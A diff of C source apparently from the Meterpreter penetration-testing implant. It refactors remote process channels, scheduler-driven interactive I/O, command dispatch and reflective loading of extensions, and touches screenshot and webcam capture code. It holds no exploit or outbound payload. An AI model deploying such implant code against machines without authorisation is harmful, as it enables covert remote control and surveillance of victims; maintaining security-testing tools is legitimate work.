@ -650,7 +661,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
@ -664,6 +674,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
dprintf( "[PROCESS] context address 0x%p", ctx );
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
@ -788,6 +799,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if(have_pty) {
dprintf("child channelized\n");
close(slave);
ctx->pProcess = (HANDLE)pid;
} else {
close(in[0]);
close(out[1]);
@ -1030,20 +1042,22 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
*
* FIXME: can-block
*/
DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx);
#ifdef _WIN32
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError();
#else
if ((*bytesRead = read(ctx->pStdout, buffer, bufferSize)) < 0) {
if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) {
result = GetLastError();
// Always return zero bytes read on error
*bytesRead = 0;
}
#endif
return result;
@ -1053,19 +1067,19 @@ DWORD process_channel_read(Channel *channel, Packet *request,
* Writes data from the remote half of the channel to the process's standard
* input handle
*/
DWORD process_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
DWORD process_channel_write( Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten )
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
#ifdef _WIN32
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) )
result = GetLastError();
#else
if((*bytesWritten = write(ctx->pStdin, buffer, bufferSize)) < 0) {
if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) {
result = GetLastError();
}
#endif
@ -1075,38 +1089,74 @@ DWORD process_channel_write(Channel *channel, Packet *request,
/*
* Closes the channels that were opened to the process.
*/
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context )
{
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (channel_is_interactive(channel))
scheduler_remove_waitable(ctx->pStdout);
if ( ctx->pProcess != NULL ) {
dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx );
scheduler_signal_waitable( ctx->pStdout, Stop );
} else {
#ifdef _WIN32
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead.
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead.
CloseHandle(ctx->pStdin);
CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
#else
close(ctx->pStdin);
close( ctx->pStdin );
close( ctx->pStdout );
#endif
free(ctx);
free( ctx );
}
return result;
}
DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext )
{
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD dwResult = ERROR_SUCCESS;
dprintf( "[PROCESS] terminating context 0x%p", ctx );
#ifdef _WIN32
CloseHandle( ctx->pStdin );
CloseHandle( ctx->pStdout );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess );
TerminateProcess( ctx->pProcess, 0 );
}
#else
close( ctx->pStdin );
close( ctx->pStdout );
dprintf( "[PROCESS] pid %u", ctx->pProcess );
if( ctx->pProcess ) {
dprintf( "[PROCESS] terminating pid %u", ctx->pProcess );
kill( (pid_t)ctx->pProcess, 9 );
}
#endif
free( ctx );
return dwResult;
}
/*
* Callback for when data is available on the standard output handle of
* a process channel that is interactive mode
*/
DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context;
Channel *channel = (Channel*)entryContext;
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
DWORD bytesRead, bytesAvail = 0;
CHAR buffer[16384];
DWORD result = ERROR_SUCCESS;
@ -1174,10 +1224,16 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context
// If the remote side wants to interact with us, schedule the stdout handle
// as a waitable item
if (interact)
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify);
else // Otherwise, remove it
result = scheduler_remove_waitable(ctx->pStdout);
if (interact) {
// try to resume it first, if it's not there, we can create a new entry
if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) {
result = scheduler_insert_waitable( ctx->pStdout, channel, context,
(WaitableNotifyRoutine)process_channel_interact_notify,
(WaitableDestroyRoutine)process_channel_interact_destroy );
}
} else { // Otherwise, pause it
result = scheduler_signal_waitable( ctx->pStdout, Pause );
}
return result;
}

View File

@ -8,6 +8,7 @@ typedef struct _ProcessChannelContext
{
HANDLE pStdin;
HANDLE pStdout;
HANDLE pProcess;
} ProcessChannelContext;
DWORD process_channel_read(Channel *channel, Packet *request,

View File

@ -386,7 +386,7 @@ DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response );
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response, NULL );
if( !pPipeThread )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );

View File

@ -1,33 +1,17 @@
/*!
* @file webcam.h
* @brief Contains webcam interaction function declarations.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#include "audio.h"
#define TLV_TYPE_EXTENSION_WEBCAM 0
#define TLV_TYPE_WEBCAM_IMAGE \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_RAW, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 1)
#define TLV_TYPE_WEBCAM_INTERFACE_ID \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 2)
#define TLV_TYPE_WEBCAM_QUALITY \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 3)
#define TLV_TYPE_WEBCAM_NAME \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 4)
#define TLV_TYPE_WEBCAM_IMAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 1)
#define TLV_TYPE_WEBCAM_INTERFACE_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 2)
#define TLV_TYPE_WEBCAM_QUALITY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 3)
#define TLV_TYPE_WEBCAM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 4)
DWORD request_webcam_list(Remote *remote, Packet *packet);
DWORD request_webcam_start(Remote *remote, Packet *packet);

View File

@ -30,12 +30,14 @@
#endif
DWORD server_setup(SOCKET fd);
typedef DWORD (*PSRVINIT)(Remote *remote);
typedef DWORD (*PSRVDEINIT)(Remote *remote);
typedef struct _EXTENSION
{
HMODULE library;
DWORD (*init)(Remote *remote);
DWORD (*deinit)(Remote *remote);
PSRVINIT init;
PSRVDEINIT deinit;
} EXTENSION;
#endif

View File

@ -12,19 +12,10 @@ extern HINSTANCE hAppInstance;
LIST * extension_list = NULL;
// Dispatch table
Command custom_commands[] =
Command customCommands[] =
{
{
"core_loadlib",
{ request_core_loadlib, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "core_loadlib", request_core_loadlib ),
COMMAND_TERMINATOR
};
/*
@ -36,8 +27,7 @@ VOID register_dispatch_routines()
extension_list = list_create();
for( index=0 ; custom_commands[index].method ; index++ )
command_register( &custom_commands[index] );
command_register_all( customCommands );
}
/*
@ -58,8 +48,7 @@ VOID deregister_dispatch_routines( Remote * remote )
free( extension );
}
for( index=0 ; custom_commands[index].method ; index++ )
command_deregister( &custom_commands[index] );
command_deregister_all( customCommands );
list_destroy( extension_list );
}

View File

@ -355,11 +355,10 @@ static DWORD server_dispatch( Remote * remote )
break;
}
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
}
else if( result < 0 )
@ -502,12 +501,11 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
dprintf("[DISPATCH] Returned result: %d", result);
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
}
// Close WinInet handles

View File

@ -102,13 +102,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// if the library was loaded via its reflective loader we must use GetProcAddressR()
if( bLibLoadedReflectivly )
{
extension->init = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
}
else
{
extension->init = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
}
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading

View File

@ -652,6 +652,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\stdapi\server\precomp.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\sys\config\config.h" />
<ClInclude Include="..\..\source\extensions\stdapi\stdapi.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\net\net.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\net\socket\tcp.h" />